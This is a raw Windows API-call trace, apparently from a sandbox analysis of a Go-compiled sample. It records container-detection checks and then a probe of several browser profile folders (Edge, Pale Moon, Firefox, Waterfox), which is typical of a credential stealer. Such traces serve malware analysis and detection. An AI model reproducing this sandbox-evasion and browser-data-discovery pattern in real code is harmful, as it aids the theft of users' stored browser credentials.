[0108.498] VirtualAlloc (lpAddress=0xc00017e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017e000
[0108.665] VirtualAlloc (lpAddress=0xc000180000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000180000
[0108.666] SetEvent (hEvent=0xdc) returned 1
[0108.666] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0109.058] SetEvent (hEvent=0xdc) returned 1
[0109.058] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0109.161] VirtualAlloc (lpAddress=0xc000186000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000186000
[0109.181] GetEnvironmentVariableW (in: lpName="DEBUG_HTTP2_GOROUTINES", lpBuffer=0xc00015e270, nSize=0x64 | out: lpBuffer="") returned 0x0
[0109.418] SetEvent (hEvent=0xdc) returned 1
[0109.418] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0109.507] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc00015e340, nSize=0x64 | out: lpBuffer="") returned 0x0
[0109.584] VirtualAlloc (lpAddress=0xc000188000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000188000
[0109.707] SetEvent (hEvent=0xdc) returned 1
[0109.707] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0110.184] SetEvent (hEvent=0xdc) returned 1
[0110.184] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0110.274] VirtualAlloc (lpAddress=0xc00018c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00018c000
[0110.359] VirtualAlloc (lpAddress=0xc00018e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00018e000
[0110.572] SetEvent (hEvent=0xdc) returned 1
[0110.572] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0111.107] SetEvent (hEvent=0xdc) returned 1
[0111.107] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0111.534] SetEvent (hEvent=0xdc) returned 1
[0111.534] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0111.889] SetEvent (hEvent=0xdc) returned 1
[0111.889] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0112.260] SetEvent (hEvent=0xdc) returned 1
[0112.260] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0112.430] VirtualAlloc (lpAddress=0xc000190000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000190000
[0112.623] SetEvent (hEvent=0xdc) returned 1
[0112.623] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0113.059] SetEvent (hEvent=0xdc) returned 1
[0113.059] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0113.136] VirtualAlloc (lpAddress=0xc000192000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000192000
[0113.297] VirtualAlloc (lpAddress=0xc000194000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000194000
[0113.297] VirtualAlloc (lpAddress=0xc000196000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000196000
[0113.514] SetEvent (hEvent=0xdc) returned 1
[0113.514] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0113.867] SetEvent (hEvent=0xdc) returned 1
[0113.867] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0113.974] VirtualAlloc (lpAddress=0xc000198000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000198000
[0113.995] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffc71ae0000
[0114.073] GetProcAddress (hModule=0x7ffc71ae0000, lpProcName="SystemFunction036") returned 0x7ffc6dd61a10
[0114.073] SystemFunction036 (in: RandomBuffer=0xc000126c10, RandomBufferLength=0x10 | out: RandomBuffer=0xc000126c10) returned 1
[0114.074] VirtualAlloc (lpAddress=0xc00019a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00019a000
[0114.074] VirtualAlloc (lpAddress=0xc00019c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00019c000
[0114.075] VirtualAlloc (lpAddress=0xc00019e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00019e000
[0114.075] VirtualAlloc (lpAddress=0xc0001a0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001a0000
[0114.198] SetEvent (hEvent=0xdc) returned 1
[0114.198] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0114.696] SetEvent (hEvent=0xdc) returned 1
[0114.696] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0115.225] SetEvent (hEvent=0xdc) returned 1
[0115.225] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0115.387] VirtualAlloc (lpAddress=0xc0001a2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001a2000
[0115.388] VirtualAlloc (lpAddress=0xc0001a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001a4000
[0115.587] VirtualAlloc (lpAddress=0xc0001a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001a6000
[0115.587] SetEvent (hEvent=0xdc) returned 1
[0115.587] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0115.683] VirtualAlloc (lpAddress=0xc0001a8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001a8000
[0116.006] SetEvent (hEvent=0xdc) returned 1
[0116.006] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0116.170] VirtualAlloc (lpAddress=0xc0001aa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001aa000
[0116.170] VirtualAlloc (lpAddress=0xc0001ac000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ac000
[0116.411] SetEvent (hEvent=0xdc) returned 1
[0116.411] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0116.828] SetEvent (hEvent=0xdc) returned 1
[0116.828] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0117.361] SetEvent (hEvent=0xdc) returned 1
[0117.361] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0117.735] SetEvent (hEvent=0xdc) returned 1
[0117.735] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0118.982] SetEvent (hEvent=0xdc) returned 1
[0118.982] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0121.657] VirtualAlloc (lpAddress=0xc0001b4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001b4000
[0121.678] SetEvent (hEvent=0xdc) returned 1
[0121.678] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0121.821] SetEvent (hEvent=0xdc) returned 1
[0121.821] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0121.837] VirtualAlloc (lpAddress=0xc0001b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001b6000
[0122.036] SetEvent (hEvent=0xdc) returned 1
[0122.036] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0122.498] SetEvent (hEvent=0xdc) returned 1
[0122.499] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0123.215] SetEvent (hEvent=0xdc) returned 1
[0123.215] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0123.540] SetEvent (hEvent=0xdc) returned 1
[0123.540] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0123.974] SetEvent (hEvent=0xdc) returned 1
[0123.974] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0124.425] SetEvent (hEvent=0xdc) returned 1
[0124.425] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0124.833] SetEvent (hEvent=0xdc) returned 1
[0124.833] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0124.984] VirtualAlloc (lpAddress=0xc0001b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001b8000
[0124.984] VirtualAlloc (lpAddress=0xc0001ba000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ba000
[0124.984] VirtualAlloc (lpAddress=0xc0001bc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001bc000
[0125.203] SetEvent (hEvent=0xdc) returned 1
[0125.203] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0125.572] SetEvent (hEvent=0xdc) returned 1
[0125.572] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0126.014] SetEvent (hEvent=0xdc) returned 1
[0126.014] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0126.377] SetEvent (hEvent=0xdc) returned 1
[0126.377] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0126.658] SetEvent (hEvent=0xdc) returned 1
[0126.658] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0126.980] SetEvent (hEvent=0xdc) returned 1
[0126.980] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0127.287] SetEvent (hEvent=0xdc) returned 1
[0127.287] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0127.556] SetEvent (hEvent=0xdc) returned 1
[0127.556] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0127.597] VirtualAlloc (lpAddress=0xc0001be000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001be000
[0127.808] SetEvent (hEvent=0xdc) returned 1
[0127.808] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0128.289] SetEvent (hEvent=0xdc) returned 1
[0128.289] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0128.471] SetEvent (hEvent=0xdc) returned 1
[0128.471] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0128.518] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetFileAttributesExW") returned 0x7ffc6fcada60
[0128.561] SetEvent (hEvent=0xdc) returned 1
[0128.561] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0128.561] GetFileAttributesExW (in: lpFileName="/.dockerenv" (normalized: "c:\\.dockerenv"), fInfoLevelId=0x0, lpFileInformation=0xc0001474e8 | out: lpFileInformation=0xc0001474e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0128.582] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="CreateFileW") returned 0x7ffc6fcad8b0
[0128.582] CreateFileW (lpFileName="/.dockerenv" (normalized: "c:\\.dockerenv"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0128.582] GetFileAttributesExW (in: lpFileName="/.containerenv" (normalized: "c:\\.containerenv"), fInfoLevelId=0x0, lpFileInformation=0xc0001474e8 | out: lpFileInformation=0xc0001474e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0128.583] CreateFileW (lpFileName="/.containerenv" (normalized: "c:\\.containerenv"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0128.726] SetEvent (hEvent=0xdc) returned 1
[0128.726] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0128.766] GetEnvironmentVariableW (in: lpName="DISABLE_ROD_FLAG", lpBuffer=0xc00015e750, nSize=0x64 | out: lpBuffer="") returned 0x0
[0128.787] VirtualAlloc (lpAddress=0xc0001c0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c0000
[0128.824] SetEvent (hEvent=0xdc) returned 1
[0128.824] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0128.844] VirtualAlloc (lpAddress=0xc0001c2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c2000
[0128.845] VirtualAlloc (lpAddress=0xc0001c4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c4000
[0128.909] SetEvent (hEvent=0xdc) returned 1
[0128.909] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0129.033] VirtualAlloc (lpAddress=0xc000200000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000200000
[0129.096] SetEvent (hEvent=0xdc) returned 1
[0129.096] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0129.096] VirtualAlloc (lpAddress=0xc0001c6000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c6000
[0129.162] SetEvent (hEvent=0xdc) returned 1
[0129.162] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0129.162] VirtualAlloc (lpAddress=0xc0001da000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001da000
[0129.246] SetEvent (hEvent=0xdc) returned 1
[0129.246] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0129.246] VirtualAlloc (lpAddress=0xc0001dc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001dc000
[0129.288] VirtualAlloc (lpAddress=0xc0001de000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001de000
[0129.332] SetEvent (hEvent=0xdc) returned 1
[0129.332] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0129.454] SetEvent (hEvent=0xdc) returned 1
[0129.454] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0129.537] SetEvent (hEvent=0xdc) returned 1
[0129.538] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0129.601] VirtualAlloc (lpAddress=0xc0001e0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001e0000
[0129.623] SetEvent (hEvent=0xdc) returned 1
[0129.623] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0129.705] SetEvent (hEvent=0xdc) returned 1
[0129.705] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0129.789] SetEvent (hEvent=0xdc) returned 1
[0129.789] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0129.872] SetEvent (hEvent=0xdc) returned 1
[0129.872] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0129.956] SetEvent (hEvent=0xdc) returned 1
[0129.956] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0130.075] SetEvent (hEvent=0xdc) returned 1
[0130.075] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0130.118] VirtualAlloc (lpAddress=0xc0001e2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001e2000
[0130.160] SetEvent (hEvent=0xdc) returned 1
[0130.160] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0130.180] VirtualAlloc (lpAddress=0xc0001e4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001e4000
[0130.201] VirtualAlloc (lpAddress=0xc0001e6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001e6000
[0130.243] SetEvent (hEvent=0xdc) returned 1
[0130.243] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0130.263] VirtualAlloc (lpAddress=0xc0001e8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001e8000
[0130.305] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetTempPathW") returned 0x7ffc6fcadb50
[0130.305] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc000128240 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25
[0130.326] SetEvent (hEvent=0xdc) returned 1
[0130.326] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0130.415] SetEvent (hEvent=0xdc) returned 1
[0130.415] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0130.518] SetEvent (hEvent=0xdc) returned 1
[0130.518] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0130.583] SetEvent (hEvent=0xdc) returned 1
[0130.583] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0130.978] SetEvent (hEvent=0xdc) returned 1
[0130.978] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0131.046] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc00015e820, nSize=0x64 | out: lpBuffer="") returned 0x25
[0131.046] GetEnvironmentVariableW (in: lpName="HOME", lpBuffer=0xc00015e8f0, nSize=0x64 | out: lpBuffer="") returned 0x0
[0131.046] GetEnvironmentVariableW (in: lpName="HOME", lpBuffer=0xc00015e9c0, nSize=0x64 | out: lpBuffer="") returned 0x0
[0131.046] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc000128480 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25
[0131.046] VirtualAlloc (lpAddress=0xc0001ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ea000
[0131.155] SetEvent (hEvent=0xdc) returned 1
[0131.155] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0131.155] VirtualAlloc (lpAddress=0xc0001ec000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ec000
[0131.155] VirtualAlloc (lpAddress=0xc0001ee000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ee000
[0131.156] VirtualAlloc (lpAddress=0xc0001f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001f4000
[0131.156] VirtualAlloc (lpAddress=0xc0001f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001f6000
[0131.178] VirtualAlloc (lpAddress=0xc0001f8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001f8000
[0131.244] SetEvent (hEvent=0xdc) returned 1
[0131.244] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0131.332] SetEvent (hEvent=0xdc) returned 1
[0131.332] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0131.428] SetEvent (hEvent=0xdc) returned 1
[0131.428] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0131.492] VirtualAlloc (lpAddress=0xc0001fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001fc000
[0131.517] SetEvent (hEvent=0xdc) returned 1
[0131.517] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0131.605] SetEvent (hEvent=0xdc) returned 1
[0131.605] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0131.625] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffc6fc80000
[0131.625] GetProcAddress (hModule=0x7ffc6fc80000, lpProcName="GetStdHandle") returned 0x7ffc6fca3e80
[0131.625] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0131.625] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
[0131.626] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
[0131.648] VirtualAlloc (lpAddress=0xc0001fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001fe000
[0131.690] SetEvent (hEvent=0xdc) returned 1
[0131.690] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0131.773] SetEvent (hEvent=0xdc) returned 1
[0131.773] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0131.774] VirtualAlloc (lpAddress=0xc000220000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000220000
[0131.794] VirtualAlloc (lpAddress=0xc000222000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000222000
[0131.795] VirtualAlloc (lpAddress=0xc000224000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000224000
[0131.795] VirtualAlloc (lpAddress=0xc000226000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000226000
[0131.795] VirtualAlloc (lpAddress=0xc000228000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000228000
[0131.867] SetEvent (hEvent=0xdc) returned 1
[0131.867] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0
[0131.908] SetEvent (hEvent=0xdc) returned 1
[0131.908] VirtualAlloc (lpAddress=0xc00022a000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00022a000
[0131.909] VirtualAlloc (lpAddress=0xc000232000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000232000
[0131.910] VirtualAlloc (lpAddress=0xc00023a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00023a000
[0131.910] VirtualAlloc (lpAddress=0xc00023c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00023c000
[0131.911] VirtualAlloc (lpAddress=0xc000244000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000244000
[0131.911] VirtualAlloc (lpAddress=0xc00024c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00024c000
[0131.912] VirtualAlloc (lpAddress=0xc000254000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000254000
[0131.913] VirtualAlloc (lpAddress=0xc00025c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00025c000
[0131.914] VirtualAlloc (lpAddress=0xc000264000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000264000
[0131.914] VirtualAlloc (lpAddress=0xc000266000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000266000
[0131.915] VirtualAlloc (lpAddress=0xc00026e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00026e000
[0131.915] VirtualAlloc (lpAddress=0xc000276000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000276000
[0131.978] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00015ea90, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.978] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Microsoft/Edge/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc00027bb60 | out: lpFileInformation=0xc00027bb60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.979] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Microsoft/Edge/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.999] SetEvent (hEvent=0xfc) returned 1
[0131.999] VirtualAlloc (lpAddress=0xc000280000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000280000
[0132.000] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00015eb60, nSize=0x64 | out: lpBuffer="") returned 0x15
[0132.000] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Moonchild Productions/Pale Moon" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\moonchild productions\\pale moon"), fInfoLevelId=0x0, lpFileInformation=0xc000283b60 | out: lpFileInformation=0xc000283b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0132.000] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Moonchild Productions/Pale Moon" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\moonchild productions\\pale moon"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0132.000] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00015ec30, nSize=0x64 | out: lpBuffer="") returned 0x15
[0132.000] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Mozilla/Firefox" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\mozilla\\firefox"), fInfoLevelId=0x0, lpFileInformation=0xc00027bb60 | out: lpFileInformation=0xc00027bb60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0132.000] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Mozilla/Firefox" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\mozilla\\firefox"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0132.000] VirtualAlloc (lpAddress=0xc00027e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00027e000
[0132.000] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00015ed00, nSize=0x64 | out: lpBuffer="") returned 0x15
[0132.000] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Roaming/Waterfox" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\waterfox"), fInfoLevelId=0x0, lpFileInformation=0xc00027db60 | out: lpFileInformation=0xc00027db60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
